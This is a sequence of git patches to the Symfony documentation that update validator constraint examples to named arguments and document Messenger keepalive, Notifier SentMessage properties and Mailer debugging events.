-                    'relativeProtocol' => true,
-                ]));
+                $metadata->addPropertyConstraint('bioUrl', new Assert\Url(
+                    relativeProtocol: true,
+                ));
             }
         }
 
@@ -414,10 +414,10 @@ Parameter        Description
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('homepageUrl', new Assert\Url([
-                    'requireTld' => true,
-                    'tldMessage' => 'Add at least one TLD to the {{ value }} URL.',
-                ]));
+                $metadata->addPropertyConstraint('homepageUrl', new Assert\Url(
+                    requireTld: true,
+                    tldMessage: 'Add at least one TLD to the {{ value }} URL.',
+                ));
             }
         }
 
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1f99b666419..61a2c1d992c 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -149,7 +149,7 @@ stores an ``Address`` instance in the ``$address`` property::
             {
                 $metadata->addPropertyConstraint('street', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('zipCode', new Assert\NotBlank());
-                $metadata->addPropertyConstraint('zipCode', new Assert\Length(['max' => 5]));
+                $metadata->addPropertyConstraint('zipCode', new Assert\Length(max: 5));
             }
         }
 
@@ -166,7 +166,7 @@ stores an ``Address`` instance in the ``$address`` property::
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
-                $metadata->addPropertyConstraint('firstName', new Assert\Length(['min' => 4]));
+                $metadata->addPropertyConstraint('firstName', new Assert\Length(min: 4));
                 $metadata->addPropertyConstraint('lastName', new Assert\NotBlank());
             }
         }
diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst
index f107d8b4192..b3c1b0ca122 100644
--- a/reference/constraints/Week.rst
+++ b/reference/constraints/Week.rst
@@ -79,10 +79,10 @@ the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('startWeek', new Assert\Week([
-                    'min' => '2022-W01',
-                    'max' => '2022-W20',
-                ]));
+                $metadata->addPropertyConstraint('startWeek', new Assert\Week(
+                    min: '2022-W01',
+                    max: '2022-W20',
+                ));
             }
         }
 
diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 2a05e58ee9c..ec21eca9784 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -127,15 +127,15 @@ One way to accomplish this is with the When constraint:
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0));
-                $metadata->addPropertyConstraint('value', new Assert\When([
-                    'expression' => 'this.getType() == "percent"',
-                    'constraints' => [
-                        new Assert\LessThanOrEqual([
-                            'value' => 100,
-                            'message' => 'The value should be between 1 and 100!',
-                        ]),
+                $metadata->addPropertyConstraint('value', new Assert\When(
+                    expression: 'this.getType() == "percent"',
+                    constraints: [
+                        new Assert\LessThanOrEqual(
+                            value: 100,
+                            message: 'The value should be between 1 and 100!',
+                        ),
                     ],
-                ]));
+                ));
             }
 
             // ...
@@ -256,12 +256,12 @@ validation based on its value:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('type', new Assert\When([
-                    'expression' => 'value == "percent"',
-                    'constraints' => [
+                $metadata->addPropertyConstraint('type', new Assert\When(
+                    expression: 'value == "percent"',
+                    constraints: [
                         new Assert\Callback('doComplexValidation'),
                     ],
-                ]));
+                ));
             }
 
             public function doComplexValidation(ExecutionContextInterface $context, $payload): void
diff --git a/reference/constraints/WordCount.rst b/reference/constraints/WordCount.rst
index 74c79216898..392f8a5bcb7 100644
--- a/reference/constraints/WordCount.rst
+++ b/reference/constraints/WordCount.rst
@@ -78,10 +78,10 @@ class contains between 100 and 200 words, you could do the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('content', new Assert\WordCount([
-                    'min' => 100,
-                    'max' => 200,
-                ]));
+                $metadata->addPropertyConstraint('content', new Assert\WordCount(
+                    min: 100,
+                    max: 200,
+                ));
             }
         }
 
diff --git a/reference/constraints/Yaml.rst b/reference/constraints/Yaml.rst
index 49b65f251e8..0d1564f4f8a 100644
--- a/reference/constraints/Yaml.rst
+++ b/reference/constraints/Yaml.rst
@@ -73,9 +73,9 @@ The ``Yaml`` constraint can be applied to a property or a "getter" method:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml([
-                    'message' => 'Your configuration doesn\'t have valid YAML syntax.',
-                ]));
+                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml(
+                    message: 'Your configuration doesn\'t have valid YAML syntax.',
+                ));
             }
         }
 
@@ -122,10 +122,10 @@ Its value is a combination of one or more of the :ref:`flags defined by the Yaml
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml([
-                    'message' => 'Your configuration doesn\'t have valid YAML syntax.',
-                    'flags' => Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME,
-                ]));
+                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml(
+                    message: 'Your configuration doesn\'t have valid YAML syntax.',
+                    flags: Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME,
+                ));
             }
         }
 
diff --git a/reference/constraints/_comparison-value-option.rst.inc b/reference/constraints/_comparison-value-option.rst.inc
index c8abdfb5af0..91ab28a2e94 100644
--- a/reference/constraints/_comparison-value-option.rst.inc
+++ b/reference/constraints/_comparison-value-option.rst.inc
@@ -1,7 +1,7 @@
 ``value``
 ~~~~~~~~~
 
-**type**: ``mixed`` [:ref:`default option <validation-default-option>`]
+**type**: ``mixed``
 
 This option is required. It defines the comparison value. It can be a
 string, number or object.
diff --git a/validation.rst b/validation.rst
index 4905283b18b..cfa8154b627 100644
--- a/validation.rst
+++ b/validation.rst
@@ -327,99 +327,13 @@ literature genre mostly associated with the author, which can be set to either
             {
                 // ...
 
-                $metadata->addPropertyConstraint('genre', new Assert\Choice([
-                    'choices' => ['fiction', 'non-fiction'],
-                    'message' => 'Choose a valid genre.',
-                ]));
+                $metadata->addPropertyConstraint('genre', new Assert\Choice(
+                    choices: ['fiction', 'non-fiction'],
+                    message: 'Choose a valid genre.',
+                ));
             }
         }
 
-.. _validation-default-option:
-
-The options of a constraint can always be passed in as an array. Some constraints,
-however, also allow you to pass the value of one, "*default*", option in place
-of the array. In the case of the ``Choice`` constraint, the ``choices``
-options can be specified in this way.
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            #[Assert\Choice(['fiction', 'non-fiction'])]
-            private string $genre;
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        # config/validator/validation.yaml
-        App\Entity\Author:
-            properties:
-                genre:
-                    - Choice: [fiction, non-fiction]
-                # ...
-
-    .. code-block:: xml
-
-        <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
-                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
-
-            <class name="App\Entity\Author">
-                <property name="genre">
-                    <constraint name="Choice">
-                        <value>fiction</value>
-                        <value>non-fiction</value>
-                    </constraint>
-                </property>
-
-                <!-- ... -->
-            </class>
-        </constraint-mapping>
-
-    .. code-block:: php
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-        use Symfony\Component\Validator\Mapping\ClassMetadata;
-
-        class Author
-        {
-            private string $genre;
-
-            public static function loadValidatorMetadata(ClassMetadata $metadata): void
-            {
-                // ...
-
-                $metadata->addPropertyConstraint(
-                    'genre',
-                    new Assert\Choice(['fiction', 'non-fiction'])
-                );
-            }
-        }
-
-This is purely meant to make the configuration of the most common option of
-a constraint shorter and quicker.
-
-If you're ever unsure of how to specify an option, either check the namespace
-``Symfony\Component\Validator\Constraints`` for the constraint or play it safe
-by always passing in an array of options (the first method shown above).
-
 Constraints in Form Classes
 ---------------------------
 
@@ -520,7 +434,7 @@ class to have at least 3 characters.
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint(
                     'firstName',
-                    new Assert\Length(['min' => 3])
+                    new Assert\Length(min: 3)
                 );
             }
         }
@@ -603,9 +517,9 @@ this method must return ``true``:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
-                    'message' => 'The password cannot match your first name',
-                ]));
+                $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue(
+                    message: 'The password cannot match your first name',
+                ));
             }
         }
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 08ed86fb4ce..bb34775a71c 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -248,7 +248,7 @@ You can use custom validators like the ones provided by Symfony itself:
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
-                $metadata->addPropertyConstraint('name', new ContainsAlphanumeric(['mode' => 'loose']));
+                $metadata->addPropertyConstraint('name', new ContainsAlphanumeric(mode: 'loose'));
             }
         }
 
@@ -273,6 +273,7 @@ define those options as public properties on the constraint class::
     // src/Validator/Foo.php
     namespace App\Validator;
 
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
     use Symfony\Component\Validator\Constraint;
 
     #[\Attribute]
@@ -282,6 +283,7 @@ define those options as public properties on the constraint class::
         public $message = 'This value is invalid';
         public $optionalBarOption = false;
 
+        #[HasNamedArguments]
         public function __construct(
             $mandatoryFooOption,
             ?string $message = null,
@@ -402,10 +404,10 @@ the custom options like you pass any other option in built-in constraints:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
-                $metadata->addPropertyConstraint('name', new Foo([
-                    'mandatoryFooOption' => 'bar',
-                    'optionalBarOption' => true,
-                ]));
+                $metadata->addPropertyConstraint('name', new Foo(
+                    mandatoryFooOption: 'bar',
+                    optionalBarOption: true,
+                ));
             }
         }
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 8d84e52c0da..55625be702d 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -101,21 +101,21 @@ user registers and when a user updates their contact information later:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('email', new Assert\Email([
-                    'groups' => ['registration'],
-                ]));
-
-                $metadata->addPropertyConstraint('password', new Assert\NotBlank([
-                    'groups' => ['registration'],
-                ]));
-                $metadata->addPropertyConstraint('password', new Assert\Length([
-                    'min'    => 7,
-                    'groups' => ['registration'],
-                ]));
-
-                $metadata->addPropertyConstraint('city', new Assert\Length([
-                    'min' => 2,
-                ]));
+                $metadata->addPropertyConstraint('email', new Assert\Email(
+                    groups: ['registration'],
+                ));
+
+                $metadata->addPropertyConstraint('password', new Assert\NotBlank(
+                    groups: ['registration'],
+                ));
+                $metadata->addPropertyConstraint('password', new Assert\Length(
+                    min: 7,
+                    groups: ['registration'],
+                ));
+
+                $metadata->addPropertyConstraint('city', new Assert\Length(
+                    min: 2,
+                ));
             }
         }
 
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 836568c2327..c316a85d249 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -104,10 +104,10 @@ username and the password are different only if all other validation passes
                 $metadata->addPropertyConstraint('username', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('password', new Assert\NotBlank());
 
-                $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
-                    'message' => 'The password cannot match your first name',
-                    'groups'  => ['Strict'],
-                ]));
+                $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue(
+                    message: 'The password cannot match your first name',
+                    groups: ['Strict'],
+                ));
 
                 $metadata->setGroupSequence(['User', 'Strict']);
             }
@@ -249,10 +249,10 @@ entity and a new constraint group called ``Premium``:
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new Assert\NotBlank());
-                $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([
-                    'schemes' => [Assert\CardScheme::VISA],
-                    'groups'  => ['Premium'],
-                ]));
+                $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme(
+                    schemes: [Assert\CardScheme::VISA],
+                    groups: ['Premium'],
+                ));
             }
         }
 
diff --git a/validation/severity.rst b/validation/severity.rst
index 632a99519d9..154c13d5e3e 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -105,15 +105,15 @@ Use the ``payload`` option to configure the error level for each constraint:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('username', new Assert\NotBlank([
-                    'payload' => ['severity' => 'error'],
-                ]));
-                $metadata->addPropertyConstraint('password', new Assert\NotBlank([
-                    'payload' => ['severity' => 'error'],
-                ]));
-                $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban([
-                    'payload' => ['severity' => 'warning'],
-                ]));
+                $metadata->addPropertyConstraint('username', new Assert\NotBlank(
+                    payload: ['severity' => 'error'],
+                ));
+                $metadata->addPropertyConstraint('password', new Assert\NotBlank(
+                    payload: ['severity' => 'error'],
+                ));
+                $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban(
+                    payload: ['severity' => 'warning'],
+                ));
             }
         }
 
diff --git a/validation/translations.rst b/validation/translations.rst
index 9a4ece17736..db2cd518eb7 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -83,9 +83,9 @@ property is not empty, add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('name', new NotBlank([
-                    'message' => 'author.name.not_blank',
-                ]));
+                $metadata->addPropertyConstraint('name', new NotBlank(
+                    message: 'author.name.not_blank',
+                ));
             }
         }
 
@@ -136,13 +136,13 @@ You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` t
     use Symfony\Component\Translation\TranslatableMessage;
     use Symfony\Component\Validator\Constraints as Assert;
     use Symfony\Component\Validator\Context\ExecutionContextInterface;
-    
+
     #[Assert\Callback]
     public function validate(ExecutionContextInterface $context, mixed $payload): void
     {
         // somehow you have an array of "fake names"
         $fakeNames = [/* ... */];
-    
+
         // check if the name is actually a fake name
         if (in_array($this->getFirstName(), $fakeNames, true)) {
             $context->buildViolation(new TranslatableMessage('author.name.fake', [], 'validators'))

From c8f21886f4a3e60a80ef8cc95a47737d91d1afba Mon Sep 17 00:00:00 2001
From: Michel Roca <mroca.dh@gmail.com>
Date: Mon, 27 Jan 2025 13:27:48 +0100
Subject: [PATCH 6685/7107] [Notifier] Add SentMessage extra info

---
 notifier.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 090f4db2007..4c790125f3e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -68,6 +68,7 @@ Service
 `AllMySms`_         **Install**: ``composer require symfony/all-my-sms-notifier`` \
                     **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \
                     **Webhook support**: No
+                    **SentMessage extra info**: `nbSms`, `balance`, `cost`
 `AmazonSns`_        **Install**: ``composer require symfony/amazon-sns-notifier`` \
                     **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \
                     **Webhook support**: No
@@ -139,6 +140,7 @@ Service
 `OvhCloud`_         **Install**: ``composer require symfony/ovh-cloud-notifier`` \
                     **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \
                     **Webhook support**: No
+                    **SentMessage extra info**: `totalCreditsRemoved`
 `Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
                     **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
                     **Webhook support**: No

From 922fa713756b22cc71beab7b9571157275ddc46b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 28 Jan 2025 08:57:41 +0100
Subject: [PATCH 6686/7107] fix typo

---
 setup/web_server_configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e5e06a89feb..58935bf5352 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -207,7 +207,7 @@ When using Caddy on the server, you can use a configuration like this:
 
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
         php_fastcgi unix//var/run/php/php8.3-fpm.sock {
-            # only fallback to root index.php aka front controller.
+            # only fall back to root index.php aka front controller.
             try_files {path} index.php
 
             # optionally set the value of the environment variables used in the application

From 8ce8f9ba8491d4afd91f8fa0da0cd1196fe826c6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 27 Jan 2025 08:16:36 +0100
Subject: [PATCH 6687/7107] [Messenger] Describe `--keepalive` option
 (AmazonSQS & Beanstalkd)

---
 messenger.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 0965cbc9170..217061d302c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -543,6 +543,19 @@ command with the ``--all`` option:
 
     The ``--all`` option was introduced in Symfony 7.1.
 
+The ``--keepalive`` option can be used to prevent messages from being prematurely
+redelivered during long-running processing. It marks the message as "in progress"
+and prevents it from being redelivered until the worker finishes processing it.
+
+.. note::
+
+    This option is only available for supported transports, which are
+    the Beanstalkd and AmazonSQS transports.
+
+.. versionadded:: 7.2
+
+    The ``--keepalive`` option was introduced in Symfony 7.2.
+
 .. tip::
 
     In a development environment and if you're using the Symfony CLI tool,
@@ -1709,6 +1722,10 @@ The transport has a number of options:
     The message time to run before it is put back in the ready queue - in
     seconds.
 
+.. versionadded:: 7.2
+
+    Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.2.
+
 .. _messenger-redis-transport:
 
 Redis Transport
@@ -2031,6 +2048,10 @@ The transport has a number of options:
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
+.. versionadded:: 7.2
+
+    Keepalive support, using the `--keepalive` option, was added in Symfony 7.2.
+
 Serializing Messages
 ~~~~~~~~~~~~~~~~~~~~
 

From 40cafd498e9a0d78e17d7b89735b964203ed0c10 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 28 Jan 2025 11:05:30 +0100
Subject: [PATCH 6688/7107] [Messenger] Update docs for keepalive support in
 doctrine messenger transport

closes #20599
---
 messenger.rst | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 217061d302c..727b1fbc39a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -545,12 +545,16 @@ command with the ``--all`` option:
 
 The ``--keepalive`` option can be used to prevent messages from being prematurely
 redelivered during long-running processing. It marks the message as "in progress"
-and prevents it from being redelivered until the worker finishes processing it.
+and prevents it from being redelivered until the worker finishes processing it:
+
+.. code-block:: terminal
+
+    php bin/console messenger:consume --keepalive=5
 
 .. note::
 
     This option is only available for supported transports, which are
-    the Beanstalkd and AmazonSQS transports.
+    the Doctrine, Beanstalkd and AmazonSQS transports.
 
 .. versionadded:: 7.2
 
@@ -1689,6 +1693,14 @@ in the table.
     The length of time to wait for a response when calling
     ``PDO::pgsqlGetNotify``, in milliseconds.
 
+The keepalive feature, which prevents messages from being prematurely redelivered during
+long-running processing, updates the ``delivered_at`` timestamp periodically to ensure
+the message is marked as "in progress".
+
+.. versionadded:: 7.3
+
+    Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.3.
+
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
 

From 8cf4739540b45707a8a3bd2b61ca0d11c9b0bac8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 30 Jan 2025 13:24:59 +0100
Subject: [PATCH 6689/7107] Update web_server_configuration.rst: Adding syntax
 highlighting

https://symfony.com/doc/6.4/setup/web_server_configuration.html#caddy

`nginx` is probably better than nothing ;-)
---
 setup/web_server_configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 58935bf5352..0612f609721 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -195,7 +195,7 @@ Caddy
 
 When using Caddy on the server, you can use a configuration like this:
 
-.. code-block:: text
+.. code-block:: nginx
 
     # /etc/caddy/Caddyfile
     example.com, www.example.com {

From 57e4fcb84fd8b900d5f1f7203afb19451ff97672 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 31 Jan 2025 09:04:10 +0100
Subject: [PATCH 6690/7107] Minor tweak

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 727b1fbc39a..e5c4ccd9a17 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1699,7 +1699,7 @@ the message is marked as "in progress".
 
 .. versionadded:: 7.3
 
-    Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.3.
+    Keepalive support, using the ``--keepalive`` option, was introduced in Symfony 7.3.
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~

From 1fc414588c7c7d78bd50b8177eca180d07d625b0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 31 Jan 2025 09:28:34 +0100
Subject: [PATCH 6691/7107] Tweaks

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 4c790125f3e..f240de44183 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -68,7 +68,7 @@ Service
 `AllMySms`_         **Install**: ``composer require symfony/all-my-sms-notifier`` \
                     **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \
                     **Webhook support**: No
-                    **SentMessage extra info**: `nbSms`, `balance`, `cost`
+                    **Extra properties in SentMessage**: ``nbSms``, ``balance``, ``cost``
 `AmazonSns`_        **Install**: ``composer require symfony/amazon-sns-notifier`` \
                     **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \
                     **Webhook support**: No
@@ -140,7 +140,7 @@ Service
 `OvhCloud`_         **Install**: ``composer require symfony/ovh-cloud-notifier`` \
                     **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \
                     **Webhook support**: No
-                    **SentMessage extra info**: `totalCreditsRemoved`
+                    **Extra properties in SentMessage**:: ``totalCreditsRemoved``
 `Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
                     **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
                     **Webhook support**: No
@@ -241,6 +241,8 @@ Service
 .. versionadded:: 7.3
 
     Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3.
+    The extra properties in ``SentMessage`` for ``AllMySms`` and ``OvhCloud``
+    providers were introduced in Symfony 7.3 too.
 
 .. deprecated:: 7.1
 

From 827ea349008269bbf1af5f035c0b6e7daad24565 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 31 Jan 2025 12:48:26 +0100
Subject: [PATCH 6692/7107] Use PHP 8.4

---
 .github/workflows/ci.yaml | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d072158138a..cd11f370e6a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -26,9 +26,8 @@ jobs:
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.1
+                    php-version: 8.4
                     coverage: none
-                    tools: "composer:v2"
 
             -   name: Get composer cache directory
                 id: composercache
@@ -93,7 +92,7 @@ jobs:
             -   name: Set-up PHP
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.1
+                    php-version: 8.4
                     coverage: none
 
             -   name: Fetch branch from where the PR started

From 9f26f64863bb81880c0373f0c0efd0126a1a8712 Mon Sep 17 00:00:00 2001
From: Alsciende <bertolini.cedric@me.com>
Date: Sat, 19 Oct 2024 12:48:17 +0200
Subject: [PATCH 6693/7107] [Messenger] Add a tip about using
 `make:messenger-middleware`

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 217061d302c..cae1d795891 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2920,6 +2920,11 @@ and a different instance will be created per bus.
             $bus->middleware()->id('App\Middleware\AnotherMiddleware');
         };
 
+.. tip::
+
+    If you have installed the Maker bundle, you can use the ``make:messenger-middleware`` command
+    to bootstrap the creation your own messenger middleware.
+
 .. _middleware-doctrine:
 
 Middleware for Doctrine

From 2ed9ab1a6206290c5b843eabf9eb0434f7b2b1b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Feb 2025 12:24:21 +0100
Subject: [PATCH 6694/7107] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index cae1d795891..d01ac3890fb 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2922,8 +2922,8 @@ and a different instance will be created per bus.
 
 .. tip::
 
-    If you have installed the Maker bundle, you can use the ``make:messenger-middleware`` command
-    to bootstrap the creation your own messenger middleware.
+    If you have installed the MakerBundle, you can use the ``make:messenger-middleware``
+    command to bootstrap the creation your own messenger middleware.
 
 .. _middleware-doctrine:
 

From ad37e5b92d053366b1c04fe5474a0ae39958a386 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 11 Nov 2024 23:26:15 +0100
Subject: [PATCH 6695/7107] [Form] Update enum.rst: Adding `choice_label`

---
 reference/forms/types/enum.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 7a49128f28c..6a78004c7ff 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -100,6 +100,22 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/choice_attr.rst.inc
+
+.. include:: /reference/forms/types/options/choice_filter.rst.inc
+
+.. include:: /reference/forms/types/options/choice_label.rst.inc
+
+.. include:: /reference/forms/types/options/choice_loader.rst.inc
+
+.. include:: /reference/forms/types/options/choice_name.rst.inc
+
+.. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
+
+.. include:: /reference/forms/types/options/choice_translation_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/choice_value.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc

From 8e3c1db52df44144b3c1ffa731db9481222749ef Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Mon, 2 Sep 2024 00:00:12 +0200
Subject: [PATCH 6696/7107] [Mailer] Mention the SentMessageEvent and
 FailedMessageEvent in the debug section

---
 mailer.rst | 28 ++++++++++++++++++++++------
 1 file changed, 22 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index c1b30a06850..fe660c15178 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -802,6 +802,8 @@ Catch that exception to recover from the error or to display some message::
         // error message or try to resend the message
     }
 
+.. _mailer-debugging-emails:
+
 Debugging Emails
 ----------------
 
@@ -810,6 +812,9 @@ The :class:`Symfony\\Component\\Mailer\\SentMessage` object returned by the
 provides access to the original message (``getOriginalMessage()``) and to some
 debug information (``getDebug()``) such as the HTTP calls done by the HTTP
 transports, which is useful to debug errors.
+Access to :class:`Symfony\\Component\\Mailer\\SentMessage` can also be obtained by listening
+to the :ref:`SentMessageEvent <mailer-sent-message-event>`, and to ``getDebug()`` by listening
+to the :ref:`FailedMessageEvent <mailer-failed-message-event>`."
 
 .. note::
 
@@ -1712,6 +1717,8 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
 
+.. _mailer-sent-message-event:
+
 SentMessageEvent
 ~~~~~~~~~~~~~~~~
 
@@ -1722,16 +1729,17 @@ SentMessageEvent
     The ``SentMessageEvent`` event was introduced in Symfony 6.2.
 
 ``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage`
-class to access the original message (``getOriginalMessage()``) and some debugging
-information (``getDebug()``) such as the HTTP calls made by the HTTP transports,
-which is useful for debugging errors::
+class to access the original message (``getOriginalMessage()``) and some
+:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as the HTTP calls
+made by the HTTP transports, which is useful for debugging errors::
 
